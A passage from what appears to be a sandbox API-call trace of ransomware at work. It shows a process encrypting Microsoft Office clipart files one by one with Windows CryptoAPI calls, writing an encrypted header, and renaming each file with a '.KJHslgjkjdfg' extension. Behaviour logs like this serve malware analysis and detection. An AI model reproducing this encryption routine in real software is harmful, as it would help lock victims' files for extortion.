lpOverlapped=0x0) returned 1 [0189.209] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x79d0, dwBufLen=0x79d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x79d0) returned 1 [0189.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.209] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x79d0, lpOverlapped=0x0) returned 1 [0189.209] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.209] SetEndOfFile (hFile=0x130) returned 1 [0189.212] GetProcessHeap () returned 0x990000 [0189.212] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.212] GetProcessHeap () returned 0x990000 [0189.212] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.kjhslgjkjdfg")) returned 1 [0189.213] CloseHandle (hObject=0x130) returned 1 [0189.213] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0189.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.214] GetProcessHeap () returned 0x990000 [0189.214] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.214] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.214] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0189.216] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.216] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.216] GetProcessHeap () returned 0x990000 [0189.216] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.216] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.216] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.217] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.217] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.217] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.217] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.217] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.217] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.217] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.217] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.217] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.217] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x329e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x329e, lpOverlapped=0x0) returned 1 [0189.218] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x32a0, dwBufLen=0x32a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x32a0) returned 1 [0189.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.219] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x32a0, lpOverlapped=0x0) returned 1 [0189.219] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.219] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.219] SetEndOfFile (hFile=0x130) returned 1 [0189.221] GetProcessHeap () returned 0x990000 [0189.221] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.221] GetProcessHeap () returned 0x990000 [0189.221] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.kjhslgjkjdfg")) returned 1 [0189.222] CloseHandle (hObject=0x130) returned 1 [0189.222] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0189.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.223] GetProcessHeap () returned 0x990000 [0189.223] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.223] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.223] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.225] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.225] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.225] GetProcessHeap () returned 0x990000 [0189.225] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.225] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.225] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.225] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.226] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.226] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.226] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.226] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.226] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.226] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.226] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9b8, lpOverlapped=0x0) returned 1 [0189.226] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c0) returned 1 [0189.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.226] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9c0, lpOverlapped=0x0) returned 1 [0189.227] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.227] SetEndOfFile (hFile=0x130) returned 1 [0189.229] GetProcessHeap () returned 0x990000 [0189.229] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.229] GetProcessHeap () returned 0x990000 [0189.229] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.kjhslgjkjdfg")) returned 1 [0189.230] CloseHandle (hObject=0x130) returned 1 [0189.230] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0189.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.231] GetProcessHeap () returned 0x990000 [0189.231] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.231] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.231] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.231] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.233] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.233] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.233] GetProcessHeap () returned 0x990000 [0189.233] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.234] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.234] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.234] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.234] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.234] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.234] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.234] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.234] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.234] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.234] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x88c, lpOverlapped=0x0) returned 1 [0189.234] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x890, dwBufLen=0x890 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x890) returned 1 [0189.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.235] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x890, lpOverlapped=0x0) returned 1 [0189.235] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.235] SetEndOfFile (hFile=0x130) returned 1 [0189.237] GetProcessHeap () returned 0x990000 [0189.237] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.237] GetProcessHeap () returned 0x990000 [0189.237] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.kjhslgjkjdfg")) returned 1 [0189.238] CloseHandle (hObject=0x130) returned 1 [0189.238] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0189.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.239] GetProcessHeap () returned 0x990000 [0189.239] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.239] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.239] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.241] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.241] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.241] GetProcessHeap () returned 0x990000 [0189.241] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.241] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.242] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.242] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.242] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.242] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.242] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.242] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.242] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.242] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.242] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x112c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x112c, lpOverlapped=0x0) returned 1 [0189.243] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1130, dwBufLen=0x1130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1130) returned 1 [0189.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.243] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1130, lpOverlapped=0x0) returned 1 [0189.244] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.244] SetEndOfFile (hFile=0x130) returned 1 [0189.246] GetProcessHeap () returned 0x990000 [0189.247] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.247] GetProcessHeap () returned 0x990000 [0189.247] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 